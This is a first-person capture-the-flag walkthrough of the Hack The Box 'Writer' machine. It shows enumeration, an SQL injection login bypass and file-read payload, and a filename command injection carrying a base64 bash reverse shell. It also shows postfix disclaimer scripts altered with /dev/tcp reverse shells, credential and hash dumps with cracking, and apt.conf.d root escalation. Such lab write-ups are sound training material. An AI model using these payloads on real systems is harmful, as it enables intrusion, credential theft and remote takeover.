### Enumeration
```
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-09 23:43 EAT
Nmap scan report for 10.10.11.101
Host is up (0.21s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
| 256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_ 256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
2909/tcp filtered funk-dialout
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: 16m36s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time:
| date: 2021-12-09T21:00:31
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.76 seconds
```
Found it running with Samba !
```
┌[cyberwarriors]─[23:44-09/12]─[/home/tahaafarooq/Desktop/hackthebox/machines/MEDIUM/writer/mytest]
└╼tahaafarooq$smbclient -L //10.10.11.101/ -N
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
writer2_project Disk
IPC$ IPC IPC Service (writer server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
```
I now decide to run `enum4linux` to get more information about this machine, as it's running I was able to know the two domains ; `WRITER` and `Builtin` , and I was also able to get a user:
```
=============================
| Users on 10.10.11.101 |
=============================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: kyle Name: Kyle Travis Desc:
user:[kyle] rid:[0x3e8]
```
But more users started popping up when enumeration was performed on users via RID cycling, where i was able to get 3 usernames which are :
```=
kyle
john
nobody
```
Since I now have the usernames but no password , so I check the web:

I didn't find anything interesting , so i decide to perform a dirbust , using gobuster, and as it's running I was able to get `/administrative`

which is actually an admin panel:

I get curious to try out bypassing the login with sqli as my first move!

and voila!! I was redirected to the Dashboard!

### EXPLOITATION
I tried reading the database with sqlmap , but didn't work as I expected ,so the only move left was for me to do it manually , which had me doing a lot of trials ! and query structuring , because each query I wrote would either run or bring back an error, after a few trials , I was able to come up with a query that would read the files witha help of a friend after struggling for hours!

So it worked with the payload : `uname=admin' UNION ALL SELECT 0,LOAD_FILE('/etc/passwd'),2,3,4,5;--&password=anything`
`UNION ALL SELECT 0,LOAD_FILE('/etc/passwd'),2,3,4,5;--`
The next thing I do now is read the apache conf files, So as I can get a hand upon the source codes! and to do that I read : `/etc/apache2/sites-enabled/000-default.conf`

`WSGIScriptAlias / /var/www/writer.htb/writer.wsgi`
this line caught up my eyes and I decided to read it up, since now we know that the web is hosted from `/var/www/writer.htb/`
writer.wsgi
```python
Welcome admin#!/usr/bin/python
import sys
import logging
import random
import os
# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")
# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")
```
and I got another hint from the code :`# Import the __init__.py from the app folder`
so let's try reading `__init__.py`
and here is the code:
```python=
Welcome adminfrom flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib
app = Flask(__name__,static_url_path='',static_folder='static',template_folder='templates')
#Define connection for database
def connections():
try:
connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')
return connector
except mysql.connector.Error as err:
if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
return ("Something is wrong with your db user name or password!")
elif err.errno == errorcode.ER_BAD_DB_ERROR:
return ("Database does not exist")
else:
return ("Another exception, returning!")
else:
print ('Connection to DB is ready!')
#Define homepage
@app.route('/')
def home_page():
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
sql_command = "SELECT * FROM stories;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('blog/blog.html', results=results)
#Define about page
@app.route('/about')
def about():
return render_template('blog/about.html')
#Define contact page
@app.route('/contact')
def contact():
return render_template('blog/contact.html')
#Define blog posts
@app.route('/blog/post/<id>', methods=['GET'])
def blog_post(id):
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories WHERE id = %(id)s;", {'id': id})
results = cursor.fetchall()
sql_command = "SELECT * FROM stories;"
cursor.execute(sql_command)
stories = cursor.fetchall()
return render_template('blog/blog-single.html', results=results, stories=stories)
#Define dashboard for authenticated users
@app.route('/dashboard')
def dashboard():
if not ('user' in session):
return redirect('/')
return render_template('dashboard.html')
#Define stories page for dashboard and edit/delete pages
@app.route('/dashboard/stories')
def stories():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
sql_command = "Select * From stories;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('stories.html', results=results)
@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('add.html', error=error)
except:
error = "Issue uploading picture"
return render_template('add.html', error=error)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
author = request.form.get('author')
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
result = connector.commit()
return redirect('/dashboard/stories')
else:
return render_template('add.html')
@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])
def edit_story(id):
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
cursor = connector.cursor()
cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
result = connector.commit()
else:
error = "File extensions must be in .jpg!"
return render_template('edit.html', error=error, results=results, id=id)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
cursor = connector.cursor()
cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
result = connector.commit()
except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('edit.html', error=error, results=results, id=id)
except:
error = "Issue uploading picture"
return render_template('edit.html', error=error, results=results, id=id)
else:
error = "File extensions must be in .jpg!"
return render_template('edit.html', error=error, results=results, id=id)
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("UPDATE stories SET title = %(title)s, tagline = %(tagline)s, content = %(content)s WHERE id = %(id)s", {'title':title, 'tagline':tagline, 'content':content, 'id': id})
result = connector.commit()
return redirect('/dashboard/stories')
else:
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
return render_template('edit.html', results=results, id=id)
@app.route('/dashboard/stories/delete/<id>', methods=['GET', 'POST'])
def delete_story(id):
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
cursor = connector.cursor()
cursor.execute("DELETE FROM stories WHERE id = %(id)s;", {'id': id})
result = connector.commit()
return redirect('/dashboard/stories')
else:
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
return render_template('delete.html', results=results, id=id)
#Define user page for dashboard
@app.route('/dashboard/users')
def users():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return "Database Error"
cursor = connector.cursor()
sql_command = "SELECT * FROM users;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('users.html', results=results)
#Define settings page
@app.route('/dashboard/settings', methods=['GET'])
def settings():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return "Database Error!"
cursor = connector.cursor()
sql_command = "SELECT * FROM site WHERE id = 1"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('settings.html', results=results)
#Define authentication mechanism
@app.route('/administrative', methods=['POST', 'GET'])
def login_page():
if ('user' in session):
return redirect('/dashboard')
if request.method == "POST":
username = request.form.get('uname')
password = request.form.get('password')
password = hashlib.md5(password.encode('utf-8')).hexdigest()
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
try:
cursor = connector.cursor()
sql_command = "Select * From users Where username = '%s' And password = '%s'" % (username, password)
cursor.execute(sql_command)
results = cursor.fetchall()
for result in results:
print("Got result")
if result and len(result) != 0:
session['user'] = username
return render_template('success.html', results=results)
else:
error = "Incorrect credentials supplied"
return render_template('login.html', error=error)
except:
error = "Incorrect credentials supplied"
return render_template('login.html', error=error)
else:
return render_template('login.html')
@app.route("/logout")
def logout():
if not ('user' in session):
return redirect('/')
session.pop('user')
return redirect('/')
if __name__ == '__main__':
app.run("0.0.0.0")
```
### INITIAL FOOTHOLD
From reading the code , i was able to see a part of a condition where `os.system()` was used and there could be a command injection on the file name:
```python
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('add.html', error=error)
```
So I now make up a base64 encoded payload which shall be executed to give back a reverse shell , and then I shall create a file before the whole rev shell given , and on the file it shall be named something.jpg and then backtick + base64 encoded payload + | base64 -d + | bash
```
┌[cyberwarriors]─[00:32-10/12]─[/home/tahaafarooq/Desktop/hackthebox/machines/MEDIUM/writer/mytest]
└╼tahaafarooq$touch 'something.jpg; `echo YmFzaCAtYyAnYmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0LjIwMS8xMjM0IDwmMSc= | base64 -d | bash `;'
```
just like that and now it's show time!
BURPSUITE

REVSHELL

So we now have initial foothold as `www-data`
So now I just perform some lateral movement and I was able to find the share folder that was also in smb , `writer2_project`
```
www-data@writer:/var/www/writer2_project$ ls -al
ls -al
total 32
drwxrws--- 6 www-data smbgroup 4096 Aug 2 06:52 .
drwxr-xr-x 5 root root 4096 Jun 22 17:55 ..
-r-xr-sr-x 1 www-data smbgroup 806 Dec 9 22:04 manage.py
-r-xr-sr-x 1 www-data smbgroup 15 Dec 9 22:04 requirements.txt
dr-xr-sr-x 3 www-data smbgroup 4096 May 16 2021 static
dr-xr-sr-x 4 www-data smbgroup 4096 Jul 9 10:59 staticfiles
dr-xr-sr-x 4 www-data smbgroup 4096 May 19 2021 writer_web
dr-xr-sr-x 3 www-data smbgroup 4096 May 19 2021 writerv2
```
but nothing important was in there so I now try checking for the behavior
```
netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 127.0.0.1:38616 ESTABLISHED
tcp 0 1 10.10.11.101:53446 1.1.1.1:53 SYN_SENT
tcp 0 0 127.0.0.1:38616 127.0.0.1:3306 ESTABLISHED
tcp 0 0 10.10.11.101:52290 10.10.14.111:4444 CLOSE_WAIT
tcp 0 13 10.10.11.101:44898 10.10.14.201:1234 ESTABLISHED
tcp6 0 0 :::139 :::* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::445 :::* LISTEN
tcp6 0 0 10.10.11.101:80 10.10.14.201:49460 ESTABLISHED
```
I can see that port 3306 is running internally, so my next move now is try looking for the configurations files inside `/etc/mysql`
```
www-data@writer:/etc/mysql$ ls -la
ls -la
total 32
drwxr-xr-x 4 root root 4096 Jul 9 10:59 .
drwxr-xr-x 102 root root 4096 Jul 28 06:32 ..
drwxr-xr-x 2 root root 4096 May 18 2021 conf.d
-rwxr-xr-x 1 root root 1620 May 9 2021 debian-start
-rw------- 1 root root 261 May 18 2021 debian.cnf
-rw-r--r-- 1 root root 972 May 19 2021 mariadb.cnf
drwxr-xr-x 2 root root 4096 May 18 2021 mariadb.conf.d
lrwxrwxrwx 1 root root 24 May 18 2021 my.cnf -> /etc/alternatives/my.cnf
-rw-r--r-- 1 root root 839 Aug 3 2016 my.cnf.fallback
```
Reading `mariadb.cnf` I was able to get creds:
```
www-data@writer:/etc/mysql$ cat mariadb.cnf
cat mariadb.cnf
# The MariaDB configuration file
#
# The MariaDB/MySQL tools read configuration files in the following order:
# 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults,
# 2. "/etc/mysql/conf.d/*.cnf" to set global options.
# 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options.
# 4. "~/.my.cnf" to set user-specific options.
#
# If the same option is defined multiple times, the last one will apply.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.
#
# This group is read both both by the client and the server
# use it for options that affect everything
#
[client-server]
# Import all .cnf files from configuration directory
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/
[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8
```
Now I try logging in with those creds :
```
www-data@writer:/etc/mysql$ mysql -u djangouser -h 127.0.0.1 -p
mysql -u djangouser -h 127.0.0.1 -p
Enter password: DjangoSuperPassword
show databases;
exit;
ERROR 1064 (42000) at line 4: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'exit' at line 1
Database
dev
information_schema
```
I was able to log in but the results were soo crazy , like I would write in an input , but the output would only show when I exit......SMH
```
www-data@writer:/etc/mysql$ mysql -u djangouser -h 127.0.0.1 -p
mysql -u djangouser -h 127.0.0.1 -p
Enter password: DjangoSuperPassword
use dev;
show tables;
exit
Tables_in_dev
auth_group
auth_group_permissions
auth_permission
auth_user
auth_user_groups
auth_user_user_permissions
django_admin_log
django_content_type
django_migrations
django_session
```
This is torture :(
```
www-data@writer:/etc/mysql$ mysql -u djangouser -h 127.0.0.1 -p
mysql -u djangouser -h 127.0.0.1 -p
Enter password: DjangoSuperPassword
use dev;
select * from auth_user;
exit
id password last_login is_superuser username first_name last_name email is_staff is_active date_joined
1 pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= NULL 1 kylekyle@writer.htb 1 1 2021-05-19 12:41:37.168368
```
Alright something at last ! I was able to now get this password which was in a weird hash format that I never encountered before ! and it was for user `kyle` the one we got on the instance we decided to execute `enum4linux` , So time for hashcat to play it's role!
```
┌[cyberwarriors]─[01:05-10/12]─[/home/tahaafarooq/Desktop/hackthebox/machines/MEDIUM/writer/mytest]
└╼tahaafarooq$hashcat -a 0 -m 10000 hash --wordlist /opt/SecLists/Passwords/Leaked-Databases/rockyou-55.txt
```

And finally the password is `marcoantonio`, now time to SSH
### SSH-ing to Kyle

Now checking a list of files available at this user's home dir we got something interesting:
```
kyle@writer:~$ ls
disclaimer sendmail.py user.txt
```
__DISCLAIMER__
```bash
kyle@writer:~$ cat disclaimer
#!/bin/bash
# Localize these.
bash -i &>/dev/tcp/10.10.14.111/4444 0>&1
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail
# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses
# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69
# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15
# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }
cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }
# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`
if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
/usr/bin/altermime --input=in.$$ \
--disclaimer=/etc/postfix/disclaimer.txt \
--disclaimer-html=/etc/postfix/disclaimer.txt \
--xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
{ echo Message content rejected; exit $EX_UNAVAILABLE; }
fi
$SENDMAIL "$@" <in.$$
exit $?
```
__SENDMAIL__
```python
import smtplib
host = '127.0.0.1'
port = 25
sender_email = "kyle@writer.htb"
receiver_email = "kyle@writer.htb"
message = """\
Subject: Hi there
Test_python_sender."""
try:
server = smtplib.SMTP(host, port)
server.ehlo()
server.sendmail(sender_email, receiver_email, message)
except Exception as e:
print(e)
finally:
server.quit()k
```
So after reading the disclaimer bash script I understood that it's executed to get an approve of some sort when an email is sent, so we can add a reverse shell to it and then copy it to `/etc/postfix` and we can send an email to the user john who apparently should have the next link to root , since we can't send the email directly to root, not sure if we can...
```
kyle@writer:~$ cat disclaimer
#!/bin/bash
# Localize these.
bash -i &>/dev/tcp/10.10.14.201/1337 0>&1
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail
# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses
# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69
# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15
# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }
cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }
# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`
if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
/usr/bin/altermime --input=in.$$ \
--disclaimer=/etc/postfix/disclaimer.txt \
--disclaimer-html=/etc/postfix/disclaimer.txt \
--xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
{ echo Message content rejected; exit $EX_UNAVAILABLE; }
fi
$SENDMAIL "$@" <in.$$
exit $?
```
and now we copy this file to `/etc/postfix`, tried it manually but I wasn't too fast ,so I guess I need to write a script to simplify this!
So I now write a python script that will simplify sending the message real quick!
```python=
#!/usr/bin/env python3
import smtplib
host = '127.0.0.1'
port = 25
From = 'kyle@writer.htb'
To = 'john@writer.htb'
Message = '''\
Subject: Greetings John
You are hacked!
'''
try:
io = smtplib.SMTP(host,port)
io.ehlo()
io.sendmail(From,To,Message)
except Exception as e:
print(e)
finally:
io.quit()
```

And I now have shell as john
```
┌─[tahaafarooq@cyberwarriors]─[~]
└──╼ $nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.145] from (UNKNOWN) [10.10.11.101] 50584
bash: cannot set terminal process group (16906): Inappropriate ioctl for device
bash: no job control in this shell
john@writer:/var/spool/postfix$ whoami && hostname
whoami && hostname
john
writer
```
So i tried checking the groups i'm in hoping i'd at least be sudo
```
john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
```
but found out i'm in a group known as `management` So I now look for files that I can access using that group!
```
john@writer:~$ find / -group management 2>/dev/null
/etc/apt/apt.conf.d
```
I dig more about what I could do and found : https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/
### PRIVILEGE ESCALATION
And found out that `apt-get update` is running after every second I guess, and we could exploit this since we have writer permissions to the `apt.conf.d` folder, by writing a malicious file giving it a line which will allow us to get a reverse shell once it's updated

```
┌─[tahaafarooq@cyberwarriors]─[~]
└──╼ $nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.145] from (UNKNOWN) [10.10.11.101] 52518
bash: cannot set terminal process group (17712): Inappropriate ioctl for device
bash: no job control in this shell
root@writer:/tmp# whoami
whoami
root
root@writer:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
```
And Now ROOT IS EARNED